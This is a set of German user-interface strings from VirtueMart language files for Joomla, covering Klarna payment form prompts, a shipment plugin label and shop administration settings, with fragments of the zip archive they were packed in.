VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_FI="Sie haben die finnischen Zahlungsoptionen gewählt. Bitte beachten Sie, dass dies nur eine übersetzte Darstellung der finnischen Zahlungsoptionen des Systems ist. Ändern Sie Ihre Währung und Ihr Land, wenn Sie die für Ihr Land verfügbaren Zahlungsoptionen anzeigen möchten." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_NL="Sie haben die niederländischen Zahlungsoptionen gewählt. Bitte beachten Sie, dass dies nur eine übersetzte Darstellung der niederländischen Zahlungsoptionen des Systems ist. Ändern Sie Ihre Währung und Ihr Land, wenn Sie die für Ihr Land verfügbaren Zahlungsoptionen anzeigen möchten." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_NO="Sie haben die norwegischen Zahlungsoptionen gewählt. Bitte beachten Sie, dass dies nur eine übersetzte Darstellung der norwegischen Zahlungsoptionen des Systems ist. Ändern Sie Ihre Währung und Ihr Land, wenn Sie die für Ihr Land verfügbaren Zahlungsoptionen anzeigen möchten." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_SE="Sie haben die schwedischen Zahlungsoptionen gewählt. Bitte beachten Sie, dass dies nur eine übersetzte Darstellung der schwedischen Zahlungsoptionen des Systems ist. Ändern Sie Ihre Währung und Ihr Land, wenn Sie die für Ihr Land verfügbaren Zahlungsoptionen anzeigen möchten." VMPAYMENT_KLARNA_LAST_NAME="Nachname" VMPAYMENT_KLARNA_MOBILE_AGREEMENT="Bedingungen" VMPAYMENT_KLARNA_MOBILE_CLOSE="Schließen" VMPAYMENT_KLARNA_MOBILE_MOBILEPHONENO="Mobiltelefonnummer" VMPAYMENT_KLARNA_MOBILE_MOBILE_CODE="XXXX" VMPAYMENT_KLARNA_MOBILE_PHONE="Mobiltelefonnummer:" VMPAYMENT_KLARNA_MOBILE_PHONE_NUMBER="Mobiltelefonnummer" VMPAYMENT_KLARNA_MOBILE_PINCODE="Bitte geben Sie Ihren Pincode an" VMPAYMENT_KLARNA_MOBILE_TOPINFO="Alle Einkäufe mit Klarna Mobil werden auf einer Monatsrechnung gesammelt. Ohne Zins und ohne Gebühren" VMPAYMENT_KLARNA_MOBILE_WHOOPS="Fehler:" VMPAYMENT_KLARNA_MODULE_INVOICE_TEXT_TITLE="Klarna Rechnung" VMPAYMENT_KLARNA_MODULE_PARTPAY_TEXT_TITLE="Klarna Ratenzahlung" VMPAYMENT_KLARNA_MODULE_SPEC_TEXT_TITLE="Klarna Spezialaktion" VMPAYMENT_KLARNA_MODULE_TESTMODE="(TESTMODUS)" VMPAYMENT_KLARNA_MONTH_10="Oktober" VMPAYMENT_KLARNA_MONTH_11="November" VMPAYMENT_KLARNA_MONTH_12="Dezember" VMPAYMENT_KLARNA_MONTH_1="Januar" VMPAYMENT_KLARNA_MONTH_2="Februar" VMPAYMENT_KLARNA_MONTH_3="März" VMPAYMENT_KLARNA_MONTH_4="April" VMPAYMENT_KLARNA_MONTH_5="Mai" VMPAYMENT_KLARNA_MONTH_6="Juni" VMPAYMENT_KLARNA_MONTH_7="Juli" VMPAYMENT_KLARNA_MONTH_8="August" VMPAYMENT_KLARNA_MONTH_9="September" VMPAYMENT_KLARNA_NOTICE_BILLING_SAME_AS_SHIPPING="Ihre Rechnungsadresse wird als Lieferadresse angewendet" VMPAYMENT_KLARNA_NOTICE_CITY="Bitte geben Sie Ihre Stadt an" VMPAYMENT_KLARNA_NOTICE_COMPANYNAME="Firmenname Info" VMPAYMENT_KLARNA_NOTICE_EMAIL_ADDRESS="Bitte geben Sie Ihre E-Mail Adresse an." VMPAYMENT_KLARNA_NOTICE_FIRSTNAME="Bitte geben Sie Ihren Vornamen an." VMPAYMENT_KLARNA_NOTICE_HOUSENUMBER="Bitte geben Sie Ihren Hausnummer an." VMPAYMENT_KLARNA_NOTICE_HOUSE_EXTENSION="Geben Sie Ihre Ergänzungen zur Hausnummer hier an. Z.B. A, B, C, rot oder blau, etc." VMPAYMENT_KLARNA_NOTICE_LASTNAME="Bitte geben Sie Ihren Nachnamen an." VMPAYMENT_KLARNA_NOTICE_MOBILEPHONE="Bitte geben Sie Ihre Mobiltelefonnummer an" VMPAYMENT_KLARNA_NOTICE_PHONENUMBER="Bitte geben Sie Ihre Telefonnummer an" VMPAYMENT_KLARNA_NOTICE_REFERENCE="Bitte geben Sie Ihre Refernenz an" VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_DK="Bitte geben Sie Ihre Sozialversicherungnummer an: TTMMJJNNNN." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_FI="Bitte geben Sie Ihre Sozialversicherungnummer an: TTMMYY-NNNN." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_NO="Bitte geben Sie Ihre Sozialversicherungnummer an: TTMMYY-NNNNN." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_PART_DK="Bitte geben Sie Ihre Sozialversicherungsnummer an. Bitte beachten Sie, dass Sie als Firma nicht mit Klarna Ratenzahlung zahlen können" VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_PART_FI="Bitte geben Sie Ihre Sozialversicherungsnummer an. Bitte beachten Sie, dass Sie als Firma nicht mit Klarna Ratenzahlung zahlen können" VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_PART_NO="Bitte geben Sie Ihre Sozialversicherungsnummer an. Bitte beachten Sie, dass Sie als Firma nicht mit Klarna Ratenzahlung zahlen können" VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_PART_SE="Bitte geben Sie Ihre Sozialversicherungsnummer an. Bitte beachten Sie, dass Sie als Firma nicht mit Klarna Ratenzahlung zahlen können" VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_SE="Bitte geben Sie Ihre Sozialversicherungnummer an: YYMMTT-NNNN." VMPAYMENT_KLARNA_NOTICE_STREETADDRESS="Bitte beachten Sie, dass die Lieferung bei einer Zahlung mit Klarna ausschließlich an Ihre Meldeadresse erfolgen kann." VMPAYMENT_KLARNA_NOTICE_YEAR_SALARY_DKK="Ihr jährliches Bruttoeinkommen in dänischen Kronen" VMPAYMENT_KLARNA_NOTICE_YEAR_SALARY_EUR="Ihr jährliches Bruttoeinkommen in Euro" VMPAYMENT_KLARNA_NOTICE_YEAR_SALARY_NOK="Ihr jährliches Bruttoeinkommen in norwegischen Kronen" VMPAYMENT_KLARNA_NOTICE_YEAR_SALARY_SEK="Ihr jährliches Bruttoeinkommen in schwedischen Kronen" VMPAYMENT_KLARNA_NOTICE_ZIP="Bitte geben Sie Ihre Postleitzahl an" VMPAYMENT_KLARNA_NO_CONSENT="Bitte geben Sie Ihre Einwilligung zur Datenübermittlung." VMPAYMENT_KLARNA_NO_GET_ADDRESS="Keine Adresse gefunden. Bitte geben Sie Ihre Sozialversicherungsnummer an, damit Ihre Adresse automatisch aktualisiert werden kann" VMPAYMENT_KLARNA_ORGANISATION_NUMBER="Handelsregisternummer:" VMPAYMENT_KLARNA_OT_VMPAYMENT_KLARNA_DESCRIPTION="Klarna Rechnungsgebühr (DE)" VMPAYMENT_KLARNA_OT_VMPAYMENT_KLARNA_TITLE="Versandgebühr" VMPAYMENT_KLARNA_PARTPAY_CONFIRM_DESCRIPTION="www.klarna.de" VMPAYMENT_KLARNA_PARTPAY_TEXT_DESCRIPTION="Ratenzahlung von Klarna" VMPAYMENT_KLARNA_PARTPAY_TITLE="Klarna Ratenkauf - ab %s pro Monat" VMPAYMENT_KLARNA_PARTPAY_TITLE_NOSUM="Klarna Ratenkauf - Ratenzahlung" VMPAYMENT_KLARNA_PART_PAYMENT="Ratenzahlung" VMPAYMENT_KLARNA_PAYMENT_CURRENCY_INFO="Bei Zahlung über Klarna werden alle Kosten in Ihrer lokalen Währung angezeig." VMPAYMENT_KLARNA_PERSONALORORGANISATIO_NUMBER="Personen-Nr / Handelsreg.-Nr" VMPAYMENT_KLARNA_PERSON_NUMBER="Personennummer:" VMPAYMENT_KLARNA_PER_MONTH="Monat" VMPAYMENT_KLARNA_PHONE_NUMBER="Telefonnummer" VMPAYMENT_KLARNA_PPBOX_ACCOUNT="Ratenkauf" VMPAYMENT_KLARNA_PPBOX_FROMTEXT="Ab" VMPAYMENT_KLARNA_PPBOX_MONTHTEXT="Monat" VMPAYMENT_KLARNA_PPBOX_READMORE="Lesen Sie mehr" VMPAYMENT_KLARNA_PPBOX_TH_MONTH="Monate" VMPAYMENT_KLARNA_PPBOX_TH_SUM="Summe/Monat" VMPAYMENT_KLARNA_REFERENCE="Referenz" VMPAYMENT_KLARNA_SEX="Geschlecht" VMPAYMENT_KLARNA_SEX_FEMALE="Frau" VMPAYMENT_KLARNA_SEX_MALE="Mann" VMPAYMENT_KLARNA_SHOW_CONSENT="(Vereinbarung anzeigen)" VMPAYMENT_KLARNA_SOCIALSECURITYNUMBER="Sozialversicherungsnummer" VMPAYMENT_KLARNA_SPEC_CONFIRM_DESCRIPTION="www.klarna.de" VMPAYMENT_KLARNA_SPEC_PAYMENT="Ratenzahlung" VMPAYMENT_KLARNA_SPEC_TEXT_DESCRIPTION="Spezialaktion von Klarna AB" VMPAYMENT_KLARNA_SPEC_TITLE="Spezialaktion von Klarna AB" VMPAYMENT_KLARNA_STREET_ADRESS="Straße" VMPAYMENT_KLARNA_YEAR_SALARY="Ihr jährliches Einkommen"PK@y>\p0c<language/de-DE/de-DE.plg_vmshipment_weight_countries.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipper VMSHIPMENT_WEIGHT_COUNTRIES="Vm Versand Plugin Gewicht/Anzahl Produkte/Länder" PK@y>\䞵'7'7'language/de-DE/de-DE.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="Über" COM_VIRTUEMART_ACCESS_FORBIDDEN="Zugang verboten" COM_VIRTUEMART_ADD="Neu" COM_VIRTUEMART_ADDRESS="Adresse" COM_VIRTUEMART_ADD_COMMENT="Kommentar hinzufügen" COM_VIRTUEMART_ADD_RATING="Bewertung hinzufügen" COM_VIRTUEMART_ADD_SHIPTO_1="Eine neue hinzufügen" COM_VIRTUEMART_ADD_SHIPTO_2="Lieferadresse" COM_VIRTUEMART_ADMIN="Kontrollzentrum" COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="Neue Konto-Aktivierung notwendig?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Modales Pop-Up Fenster beim Klick auf ' In den Warenkorb' anzeigen" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="Falls ausgewählt, wird die modale 'Facebox' angezeigt, wenn ein Produkt in den Warenkorb gelegt wird. Andernfalls erfolgt eine direkte Weiterleitung zum Warenkorb" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Muss den Allgemeinen Geschäftsbedingungen bei JEDER BESTELLUNG zustimmen?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Auswählen, wenn Sie wollen das ein Käufer ihren Allgemeinen Geschäftsbedingungen bei JEDER BESTELLUNG (vor der Bestellung) zustimmen muss." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="Benutzerregistrierung erlauben?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="Allgemeiner »Assets« URL" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="Dies ist normalerweise die URL zu dem »Assets« Verzeichnis in com_virtuemart (Relativ zum Joomla Wurzelverzeichnis. Fügen Sie weder http noch Domain hinzu)" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Aktiviere automatische Vorwahl der Zahlungsart" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="Falls automatisch vorgewählte Zahlungsart aktiviert ist und nur eine Zahlungsart verfügbar ist, wird diese vorgewählt.
        Falls automatisch vorgewählte Zahlungsart NICHT aktiviert ist, wird eine neue Seite geladen, selbst wenn nur eine Zahlungsart verfügbar ist. Dies ist nützlich, wenn die Zahlungsart vom Benutzer eingegebene Daten validieren muss." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Aktiviere automatisch vorgewählte Versandart?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="Falls automatisch vorgewählte Versandart aktiviert ist und nur eine Versandart verfügbar ist, wird diese vorgewählt.
        Falls automatisch vorgewählte Versandart NICHT aktiviert ist, wird eine neue Seite geladen, selbst wenn nur eine Zahlungsart verfügbar ist. Dies ist nützlich, wenn die Versandart vom Benutzer eingegebene Daten validieren muss." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Standard Anzahl der Kategorien in einer Reihe" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="Definiert die Anzahl der Kategorien in einer Reihe.
        " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Kategorie-Layout" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="Das Standard-Layout für die Kategorienübersicht." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Kategorie Template" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="Bestimmt das Standard-Kategorietemplate für die Anzeige von Produkten in einer Kategorie.
        " COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Kassen-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Kassen-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Datenbank Aktualisierungs-Werkzeuge aktivieren" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Hier können Sie Werkzeuge aktivieren, die zum Testen und für die Deinstallation geschrieben wurden. Sie dienen dazu, den Shop in den Neuinstallations-Zustand zurückzusetzen. Bedenken Sie, dass nach der Verwendung des »gefährlichen« Werkzeugs die Konfiguration auf den Ursprungszustand zurückgesetzt wird." COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Shop-Datumsformat" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="Das im Shop verwendete Standard-Datumsformat. Ex: %m/%d/%y" COM_VIRTUEMART_ADMIN_CFG_DEBUG="DEBUG?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Schaltet die Debug-Ausgabe ein. Dies bewirkt, dass die DEBUGPAGE am unteren Rand jeder Seite angezeigt wird. Sehr hilfreich bei der Shop-Entwicklung, da sie den Warenkorb Inhalt, Formularfeld Einträge, usw. anzeigt." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Client IP-Adresse" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="Wenn Sie diese Option aktivieren, und hier eine IP-Adresse eingeben, dann werden Debug-Ausgaben werden NUR für diese Client IP-Adresse aktiviert. Andere Clients sehen die Debugging-Ausgabe nicht." COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Downloads" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Download-Pfad" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="Der physische Pfad zu den Dateien für den Käufer-Dowonload. (Schrägstrich am Ende!)
        " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Herunterladen Verfall" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Legt die Zeitspanne in Sekunden fest, in welcher der Download für den Käufer aktiviert ist." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Produktbestand bei Käufen erhalten?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="Falls aktiviert, wird der Bestand für ein Download-Produkt verringert, obwohl es von Käufern erworben wurde." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Herunterladen Maximum" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Legt die Anzahl der Downloads fest, die mit einer Download-ID vorgenommen werden können (für eine Bestellung)." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Download-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Aktiviere dynamische Bildgrößenänderung?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="Falls augewählt, aktivieren Sie die dynamische Anpassung der Bildgröße. Dies bedeutet, dass alle Miniaturbilder auf das unten angegebene Format geändert werden" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Joomla Plugin aktivieren" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Aktiviert das Inhalt-Joomla Plugin für die Produktbeschreibung. Sollte nicht aktiviert werden, wenn Sie das Inhalt-Joomla Plugin nicht verwenden" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Debug-Meldungen aktivieren" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Nur für Administratoren" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="Für alle" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Wählen Sie, an wen die Debug-Meldung gemeldet wird" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="Nein" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Aktiviere Downloads" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Auswählen um die Download-Funktion zu aktivieren. Nur wenn Sie herunterladbare Produkte verkaufen wollen." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Nicht übersetzte Programmtexte in Englisch anzeigen" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Läd zusätzlich die englischen Sprachdateinen. Vermeidet, das nicht übersetzte Programmtexte als Programmschlüssel angezeigt werden" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Externe google jquery Prgrammbibliothek benutzen" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_EXPLAIN="Die Benutzung der externen google Programmbibliothek verbessert die Seitenladezeit" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Mehrfachanbieter aktivieren (experimentell, nur für Entwickler)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="administrierte Mehrfachanbieter" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Aktivieren Sie diese Funktion nur, wenn Sie PHP Code programmieren können und wissen, was zu tun ist. Dies ist nur eine Option, um Mehrfachanbieter-Funktionen zur individuellen Anpassung zu aktivieren." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="keine" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Rechnungen im pdf-Format erstellen und senden" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="Zur Nutzung dieser Funktion ist es wichtig, dass Sie ihren sicheren Pfad korrekt einrichten" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="Fehlerseite" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="Dies ist die Standard-Seite zur Anzeige von Fehlermeldungen." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Beachten Sie, das für die Konfigurationseinstellungen ein auf 500 Minuten gesetzter Sitzungs-Cache aktiv ist. Das bedeutet, dass Ihre Änderungen bis zu 5 Minuten benötigen, bevor sie sich auf andere Sitzungen auswirken. Das können zum Beispiel Sie selbst sein, wenn Sie ihre Konfiguration testen. Um eine neue Sitzung zu generieren, loggen Sie sich einfach aus." COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS="Reihen für Aktionsprodukte" COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS_EXPL="Bestimmt die Anzahl der Reihen für Aktionsprodukte." COM_VIRTUEMART_ADMIN_CFG_FEEDTAB="Feed-Konfiguration" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE="Feed Cache-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHETIME="Cache Zeit (in Sekunden)" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE_TIP="Caching beschleunigt den Feed-Sendung und reduziert die Serverlast, weil der Feed nur einmal erstellt wird und anschließend in einer Datei gespeichert wird." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Art der Produktbeschreibung" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Wählen Sie die Art der Produktbeschreibung, die der Feed beinhalten soll." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Aktiviere Produkt-Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="Falls aktiviert, können Käufer ein Feed abonnieren, der die neuesten Produkte - für alle oder eine bestimmte Kategorie(n) - in Ihrem Shop anbietet." COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Beschreibung begrenzen?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Maximale Länge der Beschreibung" COM_VIRTUEMART_ADMIN_CFG_FEED_SETTINGS="Feed-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Produktbeschreibung einbeziehen?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="Falls aktiviert, wird die Produktbeschreibung dem Feed-Element hinzugefügt" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Abbildungen in den Feed einbeziehen?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="Falls aktiviert, werden die Miniaturbilder in das Feed-Element einbezogen." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Den Produktpreis in die Beschreibung einbeziehen?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="Falls aktiviert, wird der Standard-Produktpreis der Produktbeschreibung hinzugefügt" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE="Feed-Titel" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES="Feed-Titel für Kategorien" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES_TIP="Titel eines Kategorie-Feeds - {catname} ist der Platzhalter für den Kategorienamen.{storename} enthält den Namen Ihres Shops." COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Frontend-Administration für Nicht-Backend Benutzer erlauben?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="Mit dieser Einstellung können Sie die Frontend-Administration für Benutzer aktivieren, die keinen Zugang zum Backend haben." COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Benutzt das Virtumart CSS" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Aktiviere CSS-Stile & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Deaktivierung von Teilen dieses Skripts erfordern die Installation des Ersatz-Skript in Ihrer Stilvorlage.
        Sonst ist ihr Shop nicht mehr funktionsfähig" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Benutzt das Orgininal-Virtuemart CSS Design" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Benutzt die Produkt Skripte" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="Diese Skripte sind für den dynamischen Betrieb des Warenkorbes und der Preisberechnung erforderlich!
        Sie verlieren durch das Abschalten des Skriptes jegliche Standard-Seiteninteraktivität." COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Benutzt das Virtuemart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="Um diverse Probleme zwischen Virtuemart und Stilvorlagen/Komponenten/Modulen zu vermeiden, können Sie die interne jQuery Programmbibliothek deaktivieren." COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Benutzt das Skript ajax Länder/Regionen" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Dynamische Aktualisierung von »Ihr Land/Region« wird ohne dieses Skript nicht funktionieren.
        Bitte verifizieren Sie, dass dies keinen Einfluss auf den Betrieb ihrer Website hat." COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Dynamische Anpassung der Bildgröße ist nicht verfügbar. Die GD-Bibliothek scheint zu fehlen" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="VirtueMart Startseite Einstellungen" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Standard Joomla verwenden" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Sprachproblem Javascript Reparatur" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Aktivieren Sie die Sprachproblem Javascript Reparatur bei Problemen mit bestimmten Joomla Versionen" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS="Reihen für neuste" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS_EXPL="Bestimmt die Anzahl der Reihen für neuste Produkte." COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Bestell-Mail-Format" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="Legt fest, wie Ihre Bestellbestätigungs-E-Mails eingestellt werden" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="HTML-Mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Text Mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Verkäufer E-Mail mit Empfängeradresse erhalten" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="In der Regel erhält der Verkäufer die E-Mail an die in der Joomla Konfiguration angegebene E-Mail Adresse. Falls Sie diese Funktion aktivieren, erhalten Sie die E-Mail mit der Empfängeradresse. Aktivieren Sie diese Funktion nur, wenn Sie absolut sicher sind, was Sie tun! Im Zweifel lassen Sie diese Einstellung unverändert." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Empfängeradresse als Absender benutzen, nicht ReplyTo" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="Falls aktiviert, wird die E-Mail Adresse des Empfängers als Absender festgelegt. Falls nicht, wird der Empfänger als Antwortadresse festgelegt. Aktivieren Sie diese Funktion nur, wenn Sie absolut sicher sind, was Sie tun! Im Zweifel lassen Sie diese Einstellung unverändert." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout für Ihre Startseite" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="Dies ist das Standard-Layout für Ihre Startseite" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Standard Anzahl der Hersteller in einer Reihe" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="Definiert die Anzahl der Hersteller in einer Reihe" COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="Dies ist die maximale Länge der Produktbeschreibung für jedes Feed-Element." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Kategorie Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="URL zu den Kategoriebildern. (Relativ zum Joomla Wurzelverzeichnis. Fügen Sie weder http noch Domain hinzu)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Sicherer Pfad" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Pfad zu herunterladbaren käuflichen Produkten sowie Ihren Rechnungen. Die Angabe bezieht sich auf den Dateiordner, nicht auf das Joomla Wurzelverzeichnis. Achten Sie darauf, das Sie hier einen absoluten Pfad eingeben, der - soweit möglich - ausserhalb ihres Wurzelverzeichnissses (häufig 'html' oder 'htdocs' bzw. 'httpdocs') liegen sollte." COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Minaturbild Pfad für käufliche Medien" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="Die Idee ist, das Sie ihre herunterladbaren Produkte mit einem selbst ausgesuchten Miniaturbild präsentieren können" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Hersteller Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="URL zu den Abbildungen der Hersteller" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Produkt Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="URL zu den Abbildungen der Produkte (Relativ zum Joomla Wurzelverzeichnis. Fügen Sie weder http noch Domain hinzu)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Media-Dateien Einstellungen" 